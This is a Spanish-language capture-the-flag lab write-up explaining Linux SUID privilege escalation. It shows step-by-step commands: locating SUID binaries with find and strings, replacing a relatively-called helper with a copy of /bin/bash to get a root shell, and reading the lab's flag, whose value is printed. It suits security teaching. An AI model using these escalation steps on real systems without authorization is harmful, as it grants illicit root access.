⚒ ¿Qué es el bit SUID y por qué es peligroso?
El bit SUID (Set User ID) es un permiso especial de Linux que hace que un ejecutable corra con los privilegios de su propietario en lugar de los del usuario que lo lanza. Si el propietario es root y el bit SUID está activo, cualquier usuario del sistema puede ejecutar ese binario con privilegios de root.
Vector clásico de escalada: si un binario SUID llama internamente a otro ejecutable usando una ruta relativa (sin
/bin/ o /usr/bin/ por delante), el atacante puede sustituir ese ejecutable por uno malicioso y obtener una shell como root.Identificar permisos SUID en el listado
| Permiso | Significado |
|---|---|
| -rwsr-xr-x | SUID activo: se ejecuta como el propietario (root) |
| -rwxr-xr-x | Sin SUID: se ejecuta como el usuario que lo lanza |
| -rwsr-sr-x | SUID + SGID: ejecuta como propietario y grupo |
🔧 Comandos del laboratorio
1. Inspección inicial del directorio
bash
ls -l
# welcome tiene -rwsr-xr-x (SUID, propiedad de root)
# greetings es un ejecutable normal
2. Identificar el tipo de binario SUID
bash
file welcome
# ELF 64-bit LSB executable, SUID bit set
3. Análisis del binario con strings
strings extrae cadenas de texto de un binario. Si el binario SUID llama a otro ejecutable, aparecerá su nombre en la salida.
bash
strings welcome
# Se detecta la cadena "greetings" -> welcome ejecuta greetings internamente
4. Buscar todos los binarios SUID del sistema
bash
find / -perm -4000 -type f 2>/dev/null
5. Preparar el exploit (binary hijacking)
Se elimina el binario legítimo greetings y se sustituye por una copia de /bin/bash. Cuando welcome (SUID root) intente ejecutar greetings, lanzará Bash con privilegios de root.
bash
rm greetings
cp /bin/bash greetings
6. Ejecutar el exploit
bash
./welcome
whoami
# root
7. Obtener la flag
bash
cd /root
cat flag
# b92bcdc876d52108778e2d81f3b01494
🗼 Flujo del ataque
1
Detectar binario SUID
ls -l o find / -perm -4000 para localizar candidatos.2
Analizar el binario
strings para descubrir dependencias internas sin ruta absoluta.3
Sustituir el ejecutableReemplazar el binario llamado por una copia de
/bin/bash.4
Ejecutar el SUIDEl binario SUID lanza nuestra
bash con privilegios de root.5
Leer la flagAcceder a
/root/flag con privilegios root.🎯 ¿Qué buscar? — Indicadores de éxito
- Binario SUID que llama a otro sin ruta absoluta → vector principal de este lab.
strings <binario>muestra nombres de comandos sin/→ candidato a hijacking.ltraceystracepermiten ver en tiempo real qué llamadas hace el binario.- GTFOBins (gtfobins.github.io) tiene vectores de escape para binarios SUID comunes como
find,vim,python. - Si no hay hijacking posible, buscar desbordamiento de búfer o inyección de formato.